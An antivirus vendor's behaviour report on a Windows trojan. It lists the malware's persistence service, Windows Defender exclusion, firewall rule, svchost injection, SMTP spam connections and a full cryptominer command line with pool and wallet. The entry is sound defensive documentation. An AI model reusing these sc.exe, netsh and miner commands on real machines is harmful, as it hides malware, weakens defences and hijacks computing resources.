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Trojan.Siggen9.10475

Added to the Dr.Web virus database: 2020-02-11

Virus description added:

Technical Information

To ensure autorun and distribution
Creates the following services
  • [<HKLM>\System\CurrentControlSet\Services\rzwbxkgf] 'Start' = '00000002'
  • [<HKLM>\System\CurrentControlSet\Services\rzwbxkgf] 'ImagePath' = '%WINDIR%\SysWOW64\rzwbxkgf\jfxxujiw.exe /d"<Full path to file>"'
  • [<HKLM>\SYSTEM\CurrentControlSet\services\rzwbxkgf] 'ImagePath' = '%WINDIR%\SysWOW64\rzwbxkgf\jfxxujiw.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
  • [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\rzwbxkgf' = '00000000'
Executes the following
  • '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
  • %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
  • %TEMP%\jfxxujiw.exe
  • %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
  • from %TEMP%\jfxxujiw.exe to %WINDIR%\syswow64\rzwbxkgf\jfxxujiw.exe
Deletes itself.
Network activity
Connects to
  • 'mx.##ra.co.nz':25
TCP
HTTP GET requests
  • http://www.google.com/
  • '93.##9.69.109':416
  • '46.#8.66.2':416
  • 'ho#########.olc.protection.outlook.com':25
  • 'gmail-smtp-in.l.google.com':25
  • '27.##.176.228':25
  • 'mx####.##il.gm0.yahoodns.net':25
  • 'google.com':443
  • 'ma##.foyel.com':25
  • 'mx#.pts.se':25
  • 'in###gram.com':443
  • 'me####count.gmx.net':443
  • 'pe#####er.infoquest.com':25
  • 'se###ce.gmx.net':443
  • 'in#####ption1.gmx.net':443
  • 'mx#.mail.ru':25
  • 'mx#.#pgi.com.au':25
  • 'ff######x-vip1.prodigy.net':25
  • 'sm##.tin.it':25
  • '46.#.52.109':416
  • '43.#31.4.7':443
  • '17#.#.114.177':416
  • '78.#1.67.23':416
  • '18#.#65.238.150':416
  • 'mi####.bittubeapp.com':13333
  • 'mt##.##0.yahoodns.net':25
  • 'eu#.###.#rotection.outlook.com':25
  • 'ma#####rtual.gwtc.net':25
  • 'alt2.aspmx.l.google.com':25
  • 'mx.##oeuro.com':25
  • 'mx#.#anmail.net':25
  • 'ap#.###.#rotection.outlook.com':25
  • 'mx##.#e.isp-net.nl':25
  • 'mx#.#sgo.net':25
  • 'mx##.##oud.advania.se':25
  • 'na#.###.#rotection.outlook.com':25
  • 'as#.##flexion.net':25
  • 'mx#.##rthlink.net':25
  • 'in##.rambler.ru':25
  • 'ALT1.ASPMX.L.GOOGLE.COM':25
  • 'mx#.#aver.com':25
  • 'ma##.#imonelli.ca':25
  • 'mx###.##il.am0.yahoodns.net':25
  • '85.##4.134.88':480
  • 'aspmx.l.google.com':25
  • 'mx.#mail.it':25
  • UDP
    • DNS ASK mi##########m.mail.protection.outlook.com
    • DNS ASK li#e.nl
    • DNS ASK ka##an.edu
    • DNS ASK ya###.com.br
    • DNS ASK us###ily.net
    • DNS ASK mx#.#sgo.net
    • DNS ASK em##l.com
    • DNS ASK mx#.#mpal.com
    • DNS ASK mi###canvas.com
    • DNS ASK ma##.naz.edu
    • DNS ASK pe#####er.infoquest.com
    • DNS ASK ea####ookbldrs.com
    • DNS ASK sm##.##cureserver.net
    • DNS ASK ea#####okbuilders.com
    • DNS ASK tp#.com.au
    • DNS ASK mx#.#pgi.com.au
    • DNS ASK se###ce.gmx.net
    • DNS ASK om##.com
    • DNS ASK me####count.gmx.net
    • DNS ASK in###gram.com
    • DNS ASK mx####.##il.gm0.yahoodns.net
    • DNS ASK ho#########.olc.protection.outlook.com
    • DNS ASK li##.com.ar
    • DNS ASK si#####liotevents.com
    • DNS ASK gm##l.com
    • DNS ASK gmail-smtp-in.l.google.com
    • DNS ASK si###ellis.com
    • DNS ASK ve##zon.net
    • DNS ASK mc##i.com
    • DNS ASK fo##l.com
    • DNS ASK sm######.mc.a.cloudfilter.net
    • DNS ASK si#####listonball.com
    • DNS ASK ms#.com
    • DNS ASK ms#####.##c.protection.outlook.com
    • DNS ASK si####lsbury.com
    • DNS ASK sh###erfly.com
    • DNS ASK mx#######601.gslb.pphosted.com
    • DNS ASK ma##.foyel.com
    • DNS ASK kr.#bm.com
    • DNS ASK mx######b2d01.pphosted.com
    • DNS ASK ei####rocess.com
    • DNS ASK et###.#ail.tiscali.it
    • DNS ASK wa##doo.fr
    • DNS ASK sm####n.orange.fr
    • DNS ASK ti#.it
    • DNS ASK sm##.tin.it
    • DNS ASK wp.pl
    • DNS ASK ff######x-vip1.prodigy.net
    • DNS ASK ti##ali.it
    • DNS ASK mx.#p.pl
    • DNS ASK em##l.it
    • DNS ASK mx.#mail.it
    • DNS ASK za###media.com
    • DNS ASK zo##et.nl
    • DNS ASK mx##.#e.isp-net.nl
    • DNS ASK wp.eu
    • DNS ASK li#e.no
    • DNS ASK bl###burn.edu
    • DNS ASK be###outh.net
    • DNS ASK fe##ick.com
    • DNS ASK mx.########.com.cust.a.hostedemail.com
    • DNS ASK mx#######801.gslb.pphosted.com
    • DNS ASK in#####ption1.gmx.net
    • DNS ASK ma#l.ru
    • DNS ASK mx#.mail.ru
    • DNS ASK am##n.com
    • DNS ASK mx#######e01.gslb.pphosted.com
    • DNS ASK re#.#icoh.com
    • DNS ASK di##ies.com
    • DNS ASK mx#######802.gslb.pphosted.com
    • DNS ASK mx.#cn.com
    • DNS ASK si##ey.com
    • DNS ASK mx#######702.gslb.pphosted.com
    • DNS ASK ne###ape.com
    • DNS ASK ap##io.com
    • DNS ASK mx#######f01.gslb.pphosted.com
    • DNS ASK xp###net.com
    • DNS ASK rc#.com
    • DNS ASK ho##ail.com
    • DNS ASK bh##ns.com
    • DNS ASK google.com
    • DNS ASK mx###.##il.am0.yahoodns.net
    • DNS ASK hi####comics.com
    • DNS ASK alt2.aspmx.l.google.com
    • DNS ASK kt#.#sele.se
    • DNS ASK ic##roe.com
    • DNS ASK nz##.mil.nz
    • DNS ASK mx#.##curemx.biz
    • DNS ASK in##.lulea.se
    • DNS ASK mx.##oeuro.com
    • DNS ASK ap#.###.#rotection.outlook.com
    • DNS ASK pt#.se
    • DNS ASK mx#.pts.se
    • DNS ASK ha##ail.net
    • DNS ASK mx#.#anmail.net
    • DNS ASK ie###gizer.com
    • DNS ASK ie#####n.ienergizer.com
    • DNS ASK ho###il.co.jp
    • DNS ASK ma##.#elkomsa.net
    • DNS ASK in##ald.se
    • DNS ASK te###msa.net
    • DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
    • DNS ASK 19#.###.211.95.in-addr.arpa
    • DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
    • DNS ASK ya##o.com
    • DNS ASK 19#.###.#11.95.bl.spamcop.net
    • DNS ASK mt##.##0.yahoodns.net
    • DNS ASK 19#.###.#11.95.zen.spamhaus.org
    • DNS ASK ha###i.rr.com
    • DNS ASK pk#####.#sg.pkvw.co.charter.net
    • DNS ASK mx.##bleone.net
    • DNS ASK ho##ail.de
    • DNS ASK mi####.bittubeapp.com
    • DNS ASK eu#.###.#rotection.outlook.com
    • DNS ASK gw##.net
    • DNS ASK 19#.###.#11.95.cbl.abuseat.org
    • DNS ASK ma#####rtual.gwtc.net
    • DNS ASK ca###one.net
    • DNS ASK ho##ail.fr
    • DNS ASK ip##et.es
    • DNS ASK ho##ail.it
    • DNS ASK ga####org.hsb.se
    • DNS ASK ALT1.ASPMX.L.GOOGLE.COM
    • DNS ASK du##.#ricsson.se
    • DNS ASK ra##ler.ru
    • DNS ASK in##.rambler.ru
    • DNS ASK nt###rld.com
    • DNS ASK mx.##.##mail.iss.as9143.net
    • DNS ASK mx##.ionos.com
    • DNS ASK tr#####-greeceny.org
    • DNS ASK et##.#ricsson.se
    • DNS ASK si###ella.eu
    • DNS ASK xt##.co.nz
    • DNS ASK mx.##ra.co.nz
    • DNS ASK si###elli.ca
    • DNS ASK ma##.#imonelli.ca
    • DNS ASK ya##o.de
    • DNS ASK na##r.com
    • DNS ASK mx#.#aver.com
    • DNS ASK we###rbeds.com
    • DNS ASK mx#.##rthlink.net
    • DNS ASK mi###pring.com
    • DNS ASK im####products.net
    • DNS ASK mx.####ctproducts.net
    • DNS ASK se###r-nsu.de
    • DNS ASK mx##.##ndenserver.de
    • DNS ASK pu##c.se
    • DNS ASK mx##.##oud.advania.se
    • DNS ASK ja####thepass.com
    • DNS ASK ga###########-se.mail.protection.outlook.com
    • DNS ASK wi###wslive.com
    • DNS ASK jc##st.com
    • DNS ASK aspmx.l.google.com
    • DNS ASK jo###eere.com
    • DNS ASK mx#######101.gslb.pphosted.com
    • DNS ASK se####tcapital.com
    • DNS ASK as#.##flexion.net
    • DNS ASK tr####ygraphic.com
    • DNS ASK na#.###.#rotection.outlook.com
    • DNS ASK li#e.fr
    • DNS ASK sm###a.nfp.com
    Miscellaneous
    Creates and executes the following
    • '%WINDIR%\syswow64\rzwbxkgf\jfxxujiw.exe' /d"<Full path to file>"
    • '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\rzwbxkgf\' (with hidden window)
    • '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\jfxxujiw.exe" %WINDIR%\SysWOW64\rzwbxkgf\' (with hidden window)
    • '%WINDIR%\syswow64\sc.exe' create rzwbxkgf binPath= "%WINDIR%\SysWOW64\rzwbxkgf\jfxxujiw.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
    • '%WINDIR%\syswow64\sc.exe' description rzwbxkgf "wifi internet conection"' (with hidden window)
    • '%WINDIR%\syswow64\sc.exe' start rzwbxkgf' (with hidden window)
    • '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
    Executes the following
    • '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\rzwbxkgf\
    • '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\jfxxujiw.exe" %WINDIR%\SysWOW64\rzwbxkgf\
    • '%WINDIR%\syswow64\sc.exe' create rzwbxkgf binPath= "%WINDIR%\SysWOW64\rzwbxkgf\jfxxujiw.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
    • '%WINDIR%\syswow64\sc.exe' description rzwbxkgf "wifi internet conection"
    • '%WINDIR%\syswow64\sc.exe' start rzwbxkgf
    • '%WINDIR%\syswow64\svchost.exe'
    • '%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/tube -o mining.bittubeapp.com:13333 -u bs2vRiVmw72dvArkbJKbtz917RXckezk9W9STXQKq1SFKmQAbfF24KkWUNqxeNZHaDJftC49YzUhiDSPSYZtn1BR2R2Z3K3Fw.60000 -p x -k

    Curing recommendations

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      • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
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